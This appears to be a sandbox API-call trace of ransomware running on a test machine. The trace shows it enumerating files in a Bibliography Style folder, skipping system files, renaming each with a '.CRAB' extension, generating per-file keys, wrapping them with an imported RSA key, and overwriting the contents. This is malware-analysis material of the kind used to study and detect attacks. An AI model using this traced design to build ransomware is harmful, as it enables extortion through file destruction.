	[0110.646] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB"
	[0110.646] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB.CRAB"
	[0110.646] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.647] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.647] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.647] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.647] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.647] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.647] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.648] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.648] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.649] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.649] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.649] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.649] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.649] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.649] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.650] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.650] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6ef0) returned 1
	[0110.650] CryptGetKeyParam (in: hKey=0xda6ef0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.650] CryptEncrypt (in: hKey=0xda6ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.651] GetLastError () returned 0x0
	[0110.651] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.651] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.651] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6d70) returned 1
	[0110.651] CryptGetKeyParam (in: hKey=0xda6d70, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.651] CryptEncrypt (in: hKey=0xda6d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.652] GetLastError () returned 0x0
	[0110.652] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.652] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.652] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.652] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.653] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x42132, lpOverlapped=0x0) returned 1
	[0110.676] VirtualAlloc (lpAddress=0x0, dwSize=0x42140, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.680] VirtualAlloc (lpAddress=0x0, dwSize=0x42140, flAllocationType=0x3000, flProtect=0x4) returned 0x33b0000
	[0110.684] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.685] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffbdece, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.685] WriteFile (in: hFile=0x3f8, lpBuffer=0x33b0000*, nNumberOfBytesToWrite=0x42140, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b0000*, lpNumberOfBytesWritten=0x314a9bc*=0x42140, lpOverlapped=0x0) returned 1
	[0110.686] VirtualFree (lpAddress=0x33b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.687] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.690] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.690] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.690] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.690] CloseHandle (hObject=0x3f8) returned 1
	[0110.693] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.694] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.694] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.694] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.694] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.695] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.695] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.695] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2=".") returned 1
	[0110.695] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2="..") returned 1
	[0110.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL"
	[0110.695] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.695] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85
	[0110.695] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85
	[0110.695] lstrlenW (lpString=".XSL") returned 4
	[0110.695] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.695] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".XSL ") returned 5
	[0110.696] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.696] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85
	[0110.696] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="desktop.ini") returned 1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="autorun.inf") returned 1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="ntuser.dat") returned -1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="iconcache.db") returned 1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="bootsect.bak") returned 1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="boot.ini") returned 1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="ntuser.dat.log") returned -1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="thumbs.db") returned -1
	[0110.696] lstrcmpiW (lpString1="ISO690Nmerical.XSL", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.696] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.696] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB") returned 90
	[0110.696] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl")) returned 0x20
	[0110.698] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", dwFileAttributes=0x20) returned 1
	[0110.698] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl.crab")) returned 1
	[0110.699] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.699] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB"
	[0110.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB.CRAB"
	[0110.699] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.700] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.700] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.700] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.700] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.701] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.701] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.701] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e6b0) returned 1
	[0110.701] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.702] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.702] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.702] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0110.702] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.702] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.702] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.703] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6eb78) returned 1
	[0110.703] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda6e30) returned 1
	[0110.704] CryptGetKeyParam (in: hKey=0xda6e30, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.704] CryptEncrypt (in: hKey=0xda6e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.704] GetLastError () returned 0x0
	[0110.704] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.704] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0110.704] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda73b0) returned 1
	[0110.705] CryptGetKeyParam (in: hKey=0xda73b0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.705] CryptEncrypt (in: hKey=0xda73b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.705] GetLastError () returned 0x0
	[0110.705] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.705] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.705] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.706] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.706] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x351ea, lpOverlapped=0x0) returned 1
	[0110.740] VirtualAlloc (lpAddress=0x0, dwSize=0x351f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.744] VirtualAlloc (lpAddress=0x0, dwSize=0x351f0, flAllocationType=0x3000, flProtect=0x4) returned 0x33a0000
	[0110.749] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.750] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffcae16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.750] WriteFile (in: hFile=0x3f8, lpBuffer=0x33a0000*, nNumberOfBytesToWrite=0x351f0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33a0000*, lpNumberOfBytesWritten=0x314a9bc*=0x351f0, lpOverlapped=0x0) returned 1
	[0110.751] VirtualFree (lpAddress=0x33a0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.752] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.787] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.787] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.787] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0110.787] CloseHandle (hObject=0x3f8) returned 1
	[0110.791] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.791] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.792] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.792] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.792] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.792] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.793] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.793] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2=".") returned 1
	[0110.793] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="..") returned 1
	[0110.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl"
	[0110.793] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.793] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100
	[0110.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100
	[0110.793] lstrlenW (lpString=".xsl") returned 4
	[0110.793] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.793] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xsl ") returned 5
	[0110.793] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100
	[0110.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="desktop.ini") returned 1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="autorun.inf") returned 1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="ntuser.dat") returned -1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="iconcache.db") returned 1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="bootsect.bak") returned 1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="boot.ini") returned 1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="ntuser.dat.log") returned -1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="thumbs.db") returned -1
	[0110.794] lstrcmpiW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="CRAB-DECRYPT.txt") returned 1
	[0110.794] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.794] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB") returned 105
	[0110.794] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl")) returned 0x20
	[0110.798] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", dwFileAttributes=0x20) returned 1
	[0110.799] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl.crab")) returned 1
	[0110.800] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.800] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB"
	[0110.800] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.CRAB.CRAB"
	[0110.800] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0110.801] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.801] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.802] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.802] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0110.802] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.802] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6eb78) returned 1
	[0110.803] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.803] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.803] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
